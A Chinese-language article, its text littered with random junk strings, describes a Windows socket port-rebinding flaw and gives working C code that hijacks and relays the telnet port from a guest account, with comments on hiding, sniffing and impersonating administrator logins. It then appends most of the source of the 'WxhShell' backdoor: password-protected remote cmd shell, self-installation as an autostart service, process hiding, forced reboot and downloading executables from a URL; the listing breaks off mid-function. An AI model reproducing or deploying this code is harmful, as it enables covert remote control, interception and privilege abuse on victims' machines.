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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O[3q9*( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _+0uju?o} eimA *0Cq saddr.sin_family = AF_INET; pqRO[XEp2 v GulM<YY saddr.sin_addr.s_addr = htonl(INADDR_ANY); N8u_=b{X *S,v$ VX bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,S7~=S :qt82tbn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6:8EZ'y ?tW%"S^D 这意味着什么?意味着可以进行如下的攻击: 6kgCS{MZ 6~>^pkV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4Ub?* weTK#O0@v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oX%PsS <VauJB*R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #S/pYP`7 ft*G*.0kO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 >'BU* iT)2 ?I6! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mmh nw(/ Q#d+IIR0gK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !nZI? z ; a3DoLq"/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W]C_oh GN}9$: #include 6x`\
J2x #include UU;Ysj #include Y2ah zB #include s/k DWORD WINAPI ClientThread(LPVOID lpParam); ?eYchVq int main() eB} sg4 { l7=$4As/hI WORD wVersionRequested; 1+.y,}F6b DWORD ret; kV]%Q3t WSADATA wsaData;
FCjYTGA BOOL val; {HE.mHy SOCKADDR_IN saddr; _KT]l./ SOCKADDR_IN scaddr; (STWAwK- int err; g&5pfrC [ SOCKET s; _s*uF_:3 SOCKET sc; hx2!YNx ! int caddsize; Wr}a\}R HANDLE mt; &?uzJx~ DWORD tid; s\n,Z?m wVersionRequested = MAKEWORD( 2, 2 ); oeRYyJ err = WSAStartup( wVersionRequested, &wsaData ); b ?= if ( err != 0 ) { 2={K-s20 printf("error!WSAStartup failed!\n"); q%)*,I< return -1; =~(L JPo6 } ;]8p:ME saddr.sin_family = AF_INET; H/ B^N,oi XO8 H] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "pKGUM 1^Y:XJ73 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,vHX>)M| saddr.sin_port = htons(23); yA`]%U(( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tjc5>T[Es8 { ]#WX|0''^ printf("error!socket failed!\n"); Hme@9(zD. return -1; SFm.<^6 } hVQ+
J!qD val = TRUE; ttJ:[ R' //SO_REUSEADDR选项就是可以实现端口重绑定的 V< 9em7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O!@KM; { da7x 1n$D printf("error!setsockopt failed!\n"); ]pucv! return -1; &_Xv:? } "KQ\F0/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; njx\$,ruN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O#89M% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RQ$o'U9A -`ys pE0? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d}6AHS[ { rym\5
`) ret=GetLastError(); |Jx2"0:M printf("error!bind failed!\n"); XxrO:$ return -1; NVM2\fs } |M{,}.*CU listen(s,2); ysw6hVb while(1) 'yAoZ P\| { $SD@D6`lL caddsize = sizeof(scaddr); P.2.Ge| //接受连接请求 B39PDJ]hu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {)dEO0 p if(sc!=INVALID_SOCKET) |^&2zyUj/ { @kgpq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .L5T4) if(mt==NULL) D}
<o<Dk { crOtQ printf("Thread Creat Failed!\n"); <@;xV_`X+ break; d .lu } ZkVvL4yIK } -uY:2 CloseHandle(mt); sn T4X } ]ge^J3az$u closesocket(s); :_[cT,3 WSACleanup(); '| Q*~Lh return 0; H9a3rA> } WFc[F`b DWORD WINAPI ClientThread(LPVOID lpParam) '\vmfp= { k-Hfip[ro SOCKET ss = (SOCKET)lpParam; 9p0HFri[ SOCKET sc; bD^ob.c.A unsigned char buf[4096]; K=^_Ndz SOCKADDR_IN saddr; i?s&\3--Y long num; 07WIa@Q DWORD val; 5]O LV1Xt DWORD ret; l`w|o //如果是隐藏端口应用的话,可以在此处加一些判断 %X-&yGY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j9
&AMg saddr.sin_family = AF_INET; z@S8H6jM)S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kjYO0!C saddr.sin_port = htons(23); d'@H@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Pl6:FB8%@ { Fl|&eO,e printf("error!socket failed!\n"); ?+JxQlVDt- return -1; EO!cv,[a } 9g,L1 W*
val = 100; -,CndRKx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {]^%?]e { sT T455h) ret = GetLastError(); {xb%P!o` return -1; LYo7?rp } oDiv9jm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lNp:2P { kQiW 5 ret = GetLastError(); ^=M(K '' return -1; dCJR,},\f } >71w
#K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c3 ]^f6)? { dZ81\jdYv printf("error!socket connect failed!\n"); vWfef~}~ closesocket(sc); B(T4nH_k closesocket(ss); xg%]\# return -1; <:}AC{I } IHX#BY> while(1) f#-T%jqnK { we).8%)' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]R.Vq\A%S //如果是嗅探内容的话,可以再此处进行内容分析和记录 vWU4ZBT8G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `Q_ R/9~ num = recv(ss,buf,4096,0); HC, 0"W if(num>0) @^jLYu|W send(sc,buf,num,0); 4]Nr$FY else if(num==0) >Zp]vK~s break; xM"XNT6b num = recv(sc,buf,4096,0); qk{UO
< if(num>0) [#h!3d|?B send(ss,buf,num,0); oUS>p" : else if(num==0) JM4`k8mM break; )C0X]? }
l e/#J closesocket(ss); ?d`+vHK]> closesocket(sc); hp%Pg & return 0 ; /
{bK*A! } Z8_gI[Zn ee?Mo` rnr8t] ========================================================== hl~F1"q) `-`iS? 下边附上一个代码,,WXhSHELL i(;u6Rk |>V>6%>vK6 ========================================================== 'r <BaL dWWkO03| #include "stdafx.h" !oRm.cO D`ge3f8Wi #include <stdio.h> =ZL}Av} #include <string.h> DG
FvRB #include <windows.h> <^Nj~+G' #include <winsock2.h> Wb(0Szk; #include <winsvc.h> &\br_ #include <urlmon.h> $7
Uk;xV HWAqJb [ #pragma comment (lib, "Ws2_32.lib") e-av@a3 #pragma comment (lib, "urlmon.lib") s+~Slgl L2A#OZZu #define MAX_USER 100 // 最大客户端连接数 &H>dE]Hq, #define BUF_SOCK 200 // sock buffer I,uu>- #define KEY_BUFF 255 // 输入 buffer cCCplL DLM9o3/*J #define REBOOT 0 // 重启 8-l Y6M\R\ #define SHUTDOWN 1 // 关机 51'SA
B09 'a[|}nJ3 #define DEF_PORT 5000 // 监听端口 _cs9R% \r9%;?f #define REG_LEN 16 // 注册表键长度 QQ8W;x #define SVC_LEN 80 // NT服务名长度 b:&$x (| /Day5\Q# // 从dll定义API {j@)sDMX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?b$zuJ] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BC[d={_- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pU'sADC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~n
9DG>a T+"y8#: // wxhshell配置信息 EqluxD= struct WSCFG { T#f@8 -XUE int ws_port; // 监听端口 LP_F"?4 char ws_passstr[REG_LEN]; // 口令 `3n*4Lz int ws_autoins; // 安装标记, 1=yes 0=no e)(| char ws_regname[REG_LEN]; // 注册表键名 SX,zJ`" char ws_svcname[REG_LEN]; // 服务名 [63;8l} char ws_svcdisp[SVC_LEN]; // 服务显示名 .ai9PsZ?V char ws_svcdesc[SVC_LEN]; // 服务描述信息 (}8 ;3pp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K)@Buu&,p int ws_downexe; // 下载执行标记, 1=yes 0=no tAi9mm;k char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" X*q
C:]e char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R/YL1s 3?(p; }; 7y7y<`)I5 :_zKUv] // default Wxhshell configuration .?j8{> struct WSCFG wscfg={DEF_PORT, O{R5<"g "xuhuanlingzhe", jG :R\D}0 1, FI5C&d5d "Wxhshell", ?R} oXSVT "Wxhshell", 7T Bo*-! "WxhShell Service", cyE2= "Wrsky Windows CmdShell Service", C^tC} n1D( "Please Input Your Password: ", _4]dPk#^ 1, l
d9#4D[# " http://www.wrsky.com/wxhshell.exe", pwC/&bu "Wxhshell.exe" l[| e3<H }; mjHY-lK A UV$ S2 // 消息定义模块 ^w\uOd` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A6L}5#7- char *msg_ws_prompt="\n\r? for help\n\r#>"; NR@Tj]`k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; uHCgIR
l> char *msg_ws_ext="\n\rExit."; t}gqk' char *msg_ws_end="\n\rQuit."; zl?N1>KS char *msg_ws_boot="\n\rReboot..."; E9hWn0 e char *msg_ws_poff="\n\rShutdown..."; _O<{H '4NO char *msg_ws_down="\n\rSave to "; xGA0]
_ `pUArqf char *msg_ws_err="\n\rErr!"; {`Z)'G\` char *msg_ws_ok="\n\rOK!"; NBYE#Uih ^IYN"yX_ char ExeFile[MAX_PATH]; w (-n1oSo int nUser = 0; $)~]4n= HANDLE handles[MAX_USER]; uNg.y$>CX int OsIsNt; {jI/9 8<
-Vkr SERVICE_STATUS serviceStatus; K gX)fj SERVICE_STATUS_HANDLE hServiceStatusHandle; e8.bH# q4N$.hpb // 函数声明 kv b-= int Install(void); 0k 8SDRWU int Uninstall(void); $z]l4Hj int DownloadFile(char *sURL, SOCKET wsh); +pm8;& int Boot(int flag); F o6U" void HideProc(void); vGw}e&YI int GetOsVer(void); OHo0W)XUU int Wxhshell(SOCKET wsl); s qKkTG3 void TalkWithClient(void *cs); {IvCe0` int CmdShell(SOCKET sock); R[;Z<K\Nn? int StartFromService(void);
"kC>EtaX int StartWxhshell(LPSTR lpCmdLine); ?_r"Fg;" _K>m9Q2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zOw]P6Gk VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8hg(6 XUG
(~oPr+d // 数据结构和表定义 Vi_|m?E SERVICE_TABLE_ENTRY DispatchTable[] = 5P!17.W'u
{ \zwb> ^ {wscfg.ws_svcname, NTServiceMain}, L\[jafb_` {NULL, NULL} ~^*tIIOX }; th)jEK;Z {xX|5/z // 自我安装 z-j \S7F int Install(void) `39U I7 { fZO/HzX char svExeFile[MAX_PATH]; *79<ypKG$ HKEY key; `h'^S,'* strcpy(svExeFile,ExeFile); (I5ra_FVs =l+p nG // 如果是win9x系统,修改注册表设为自启动 Yt^+31/% if(!OsIsNt) { RFdN13sJv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M~IiJ9{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .y!Hw{cq RegCloseKey(key); Jd;1dYkH: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { );[`rXH_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0&x)5^lG RegCloseKey(key); TxWjgW~ return 0; ;`+,gVrp } HChewrUAn } 7d*<'k]{, } s7?kU3y=s else { ~6nQ- N_0O"" d // 如果是NT以上系统,安装为系统服务 GZw<Y+/V"5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wkGF&U if (schSCManager!=0) ?8 F7BS4oQ { = DgD&_ SC_HANDLE schService = CreateService ;ORy&H aKl ( ;V
GrZZ schSCManager, oCrn wscfg.ws_svcname, +l9avy+P( wscfg.ws_svcdisp, "n:9JqPb SERVICE_ALL_ACCESS, fomkwN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v\c3=DbO SERVICE_AUTO_START, :FSkXe2yy0 SERVICE_ERROR_NORMAL, `dK\VK^ svExeFile, '9)@ U+yfQ NULL, WA/\x NULL, BhjXNf9[ NULL, ^:0?R/A NULL, `3-j%H2R NULL c2nZd.SD| ); >XF@=Jp if (schService!=0) LHz{*`22q { L8fr
uwb CloseServiceHandle(schService); L0Cf@~k CloseServiceHandle(schSCManager); /iK )tl|X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G-qxQD1wK strcat(svExeFile,wscfg.ws_svcname); )
l)5^7=W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jd{J3s '% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]~P? RegCloseKey(key); @lX)dY return 0; OL>/FOH:Fx } '54@-}D } uFqH_04 CloseServiceHandle(schSCManager); BSz\9 eT } e.T5F`Du } ZDf9Npe wmIq{CXx, return 1; + |,CIl+ } j405G4BVW vcmS]$} // 自我卸载 b6lL8KOu int Uninstall(void) tL~|/C)d R { D7%89qt HKEY key; <3qbgn>}b ^\!p;R if(!OsIsNt) { e:l 6; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R3~&|>7/T RegDeleteValue(key,wscfg.ws_regname); (F)zj<{f RegCloseKey(key); nxt1Y04,H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +G~b-} RegDeleteValue(key,wscfg.ws_regname); qH
~usgqB7 RegCloseKey(key); X[w9~t$\ return 0; -zkB`~u_ } QUNsS9 } Nl+2m4 } <L-L}\-I" else { P(4[<'HO O ?4V($ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q,$x6YwE if (schSCManager!=0) ;i]cmy { R
Q8okA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5s>9v if (schService!=0) /~yqZD<O { &jJgAZ! if(DeleteService(schService)!=0) { q\,H9/.0k CloseServiceHandle(schService); T:ck/:ZH CloseServiceHandle(schSCManager); 5HU>o|. return 0; "*0
szz' } $=bN=hE CloseServiceHandle(schService); pUmB
h } yE7pCgXt CloseServiceHandle(schSCManager); Np<Aak } ^Z!W3q Q } I/tzo(r jsR1jou6 return 1; \ Q6Ip@? } W1OGN4`C %%_90t // 从指定url下载文件 [bp"U*!9P int DownloadFile(char *sURL, SOCKET wsh) 1.!(#I3 { *<hpq) HRESULT hr; \!PC:+uJ char seps[]= "/"; fZZ!kea[ char *token; E'ZWSpP char *file; ~ce.&C7cR char myURL[MAX_PATH]; p|((r?{ char myFILE[MAX_PATH]; =4[zt^WX" O []+v strcpy(myURL,sURL); qgDBu\ token=strtok(myURL,seps); 1pn167IQL while(token!=NULL) .D) }MyKnu { 1>2397 file=token;
`DwlS!0 token=strtok(NULL,seps); iTX.?* } &5a>5ZG} 3w@)/ujn GetCurrentDirectory(MAX_PATH,myFILE); S HvML strcat(myFILE, "\\"); zx!1jS strcat(myFILE, file); i{8=; send(wsh,myFILE,strlen(myFILE),0); [bcqaT send(wsh,"...",3,0); ;?&;I! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'W#<8eJo if(hr==S_OK) l]ZUKy return 0; }YjSv^ else 0L6L_;o return 1; <7zpH SFBq V_~wWuZ- } r*g _ ;)kBJ @ // 系统电源模块 2P|-V} ;9 int Boot(int flag) ^R\blJQ<^ { 4?&=H
*H: HANDLE hToken; OT [t
EqQ TOKEN_PRIVILEGES tkp; /i"EVN`t sq^,l6es> if(OsIsNt) { A@#dv2JzP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?G{fF
H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b,'./{c0 tkp.PrivilegeCount = 1; ?SpI^Wn)[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ %P%~`?! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R0|X;3 if(flag==REBOOT) { FYj3!
H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *be+x RY return 0; ug{F?LW[ } )uaB^L1 else { #Y:/^Q$_qS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZibODs=f; return 0; #4Z$O( } Vlf@T } 5 909O else {
2AluH8X/ if(flag==REBOOT) { ,s2.l/5r;C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YK- R|z6K return 0; &sRyM'XI } WP>O7[| else { @s/ qOq? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h"'f~KM9a> return 0; s.~SV" } #4hP_Vhc } `+gF|o9 Qw^tzP8 return 1;
SX4p(t } k.0C*3' (u_sz // win9x进程隐藏模块 )CB?gW void HideProc(void) zqeU>V~<F {
[
~E}x P-mrH HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i||YD-hkK if ( hKernel != NULL ) !F8
!]"* { lL^7x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cnj_tC=zt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gnw>%f1@u FreeLibrary(hKernel); nGf@zJDb } E|TzrH 3_-# return; O~S}u } }_;nln?t( N.<hZ\].= // 获取操作系统版本 c;e,)$)-| int GetOsVer(void) ?BRL;( x { u>eu47"n! OSVERSIONINFO winfo; ?R+$4;iy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jq!($PdA GetVersionEx(&winfo); `Ctj]t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HlO+^(eX return 1; Ju\"l8[f else NX;&V7 return 0; '71btd1 } J0K"WmW H0HYb\TX ? // 客户端句柄模块 `3OGCy int Wxhshell(SOCKET wsl)
Bb o* { yx-"YV}5 SOCKET wsh; -"<f( struct sockaddr_in client; V1fPH; DWORD myID; B8&@Qc@~ okv7@8U#p while(nUser<MAX_USER) $_VD@YlAp { ~RJg.9V int nSize=sizeof(client); BO_^3Me* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rQqtejcfx if(wsh==INVALID_SOCKET) return 1; 7[)(;- ?/wloLS47 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dmw,Bi* if(handles[nUser]==0) c~
SI" closesocket(wsh); g :EU\ else B/71$i nUser++; m|k,8guG } 7Av]f3Zr WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Y2>w `zL9dlZ return 0; J]UHq$B } '3Ri/V, #&Ee5xM= // 关闭 socket ,Tx8^|b#F void CloseIt(SOCKET wsh) K+\hv~+@ { r$7rYxFR closesocket(wsh); P#xn!fMi nUser--; B]vj1m`9 ExitThread(0); 6PH*]#PfoD } )N/KQ[W 7Tbk ti; // 客户端请求句柄 F)@<ZE void TalkWithClient(void *cs) \9p;md` { 6yb<4@LOb v^tKT& SOCKET wsh=(SOCKET)cs; */)gk=x8 char pwd[SVC_LEN]; U`Zn*O~/ char cmd[KEY_BUFF]; q~3&f char chr[1]; lySa Jd int i,j; NSq"\A\ -AE/,@ \P while (nUser < MAX_USER) { DXt^Ym5Cv 1<83MO; if(wscfg.ws_passstr) { 2XtQ"`) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eG v"&kr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zN1;v6; //ZeroMemory(pwd,KEY_BUFF); ,b4&$W]. i=0; 3Z0\I\E while(i<SVC_LEN) { xpM~*Gpm )N<!3yOz // 设置超时 >U)O@W) fd_set FdRead; J[l K struct timeval TimeOut; N;Hv B:c FD_ZERO(&FdRead); Ce:ds% FD_SET(wsh,&FdRead); <Va>5R_d< TimeOut.tv_sec=8; 4Z] 35* TimeOut.tv_usec=0; xh0A2bw'OP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0"`skYJ@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5 %Gf?LyO v,0D GR~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pB./L&h pwd =chr[0]; i`qh|w/b_ if(chr[0]==0xd || chr[0]==0xa) { `2PT 8UM pwd=0; >=H8>X break; 7 SZR#L } :+Kesa:E i++; 0h#M)Ft } 2e"}5b5 _HsvF[\[ // 如果是非法用户,关闭 socket sYpogFfV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [w f12P } YC'~8\x3z @Hh"Y1B send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B}X#oA send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4lCm(#T{, 7Cf(y'w^ while(1) { bSLj-vp |xm|Q(PG ZeroMemory(cmd,KEY_BUFF); =&b[V" #4M0%rN // 自动支持客户端 telnet标准 &/9oi_r%r j=0; t^hkGYj!2 while(j<KEY_BUFF) { _3a
5/IZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3iw9jhK!W cmd[j]=chr[0]; j&.BbcE45 if(chr[0]==0xa || chr[0]==0xd) { 7krA+/Qr( cmd[j]=0; <Tf;p8# break; z7C1&bGe } =*jcO119L j++; x3|'jmg } v=VmiBq[ b`zf&Mn // 下载文件 }c%y0)fL if(strstr(cmd,"http://")) { ?miM15XI send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?M^t4nj if(DownloadFile(cmd,wsh)) "Ycd$`{Vgt send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G^Ed)JvE else *.g?y6d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EB<q. } m{c#cR else { q;.]e#wvh G>QTPXcD switch(cmd[0]) { sfE8b/Z8 HU9y{H // 帮助 (_ah~VnO case '?': { mNoqs&UB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?` i/ break; 3:1
c_ } u7WM6X // 安装 Hw&M2a case 'i': { Bq_P?Q+\ if(Install()) 1o>R\g3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); IviQ)hp else 6a?p?I K^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RCXSz break; rrYp^xLa` } PqLqF5`S // 卸载 ;NE/!! case 'r': { &tCtCk%{j if(Uninstall()) ZnLk :6' send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/p9"eBpq else 9'g{<(R] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2j1v.% break; \[1CDz=}1 } r:4IKuTR // 显示 wxhshell 所在路径 E2'e}RQ case 'p': { ZGhoV#T@ char svExeFile[MAX_PATH]; %+a@|Z strcpy(svExeFile,"\n\r"); WG} CPkj strcat(svExeFile,ExeFile); K- C-+RB send(wsh,svExeFile,strlen(svExeFile),0); [nIG_j>D-f break; 389.&`Q%Ut } a] =\h'S // 重启 L]N2rMM case 'b': { jSp&mD*xv send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +|)1_NK if(Boot(REBOOT)) x=Jn&4q send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6xh#;+e} else { L^1q/4${ closesocket(wsh); z.&%>%TPP ExitThread(0); N09+id g } 9Pk3}f)a break; i03}f%JnuO } ^jjJM| a // 关机 pm@Z[g case 'd': { N('DIi*or send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O>M*mTM if(Boot(SHUTDOWN)) hRIS[#z;U send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gj8[*3d else { 5|G3t`$pa closesocket(wsh); sJK:xk.6! ExitThread(0); (Zg'pSs) } y6jmn1K break; gzCMJ<3!D }
%%cSvPcz // 获取shell Cmx2/N case 's': { 0nq}SH CmdShell(wsh); p6Dv;@)Yn closesocket(wsh); wx%nTf/Oa ExitThread(0); ^@lg5d3F break; f\_!N
"HW } [j]J_S9jJ // 退出 ec4%Wk2 case 'x': { ]!G>8Rc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bSR+yr'? CloseIt(wsh); _JJKbi break; _% 9+U[@ } vs)I pV( // 离开 ^iRwwN=d case 'q': { s8Ry}{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); V/9"Xmv75 closesocket(wsh); ro^6:w3O^ WSACleanup(); "Xk%3\{P exit(1); %iL@:'?K break; roj04| } \.;ct } =>}.W:= } dwbY"t[9 d3=6MX[c // 提示信息 UoMWn"ZE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W;oU +z^t$ } n vpPmc } LF)a"Sh \P~rg~ return; ]VG84bFm } K1/gJ9+(\ {&}/p-S // shell模块句柄 4IP\iw#w int CmdShell(SOCKET sock) j)tCr Py { /z)3gsF STARTUPINFO si; @S"pJeP/f ZeroMemory(&si,sizeof(si)); a3dzok si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #w,WwL! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oz0n$`O$/ PROCESS_INFORMATION ProcessInfo; R!k<l<9q char cmdline[]="cmd"; R-A'v&= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2u*h*/ return 0; YUVc9PV)Ws } 56=K@$L {F :O'C:n<g // 自身启动模式 Bw]L2=d int StartFromService(void) 9p\Hx#^ { MHnf\|DX typedef struct Dj
]Hgg { mj~N]cxB DWORD ExitStatus; (\mulj DWORD PebBaseAddress; <% 7P DWORD AffinityMask; }y-;>i#m=g DWORD BasePriority; ^0x.'G? ULONG UniqueProcessId; bg1"v a#2 ULONG InheritedFromUniqueProcessId; Ld}(*-1i } PROCESS_BASIC_INFORMATION; Fi?Q
4b N?=qEX|R PROCNTQSIP NtQueryInformationProcess; ?dKa;0\ 2 ]DCF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eN|HJ= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `b.o&t$L %%+mWz a HANDLE hProcess; IglJEH[+ PROCESS_BASIC_INFORMATION pbi; H#|Z8^ *Ds A
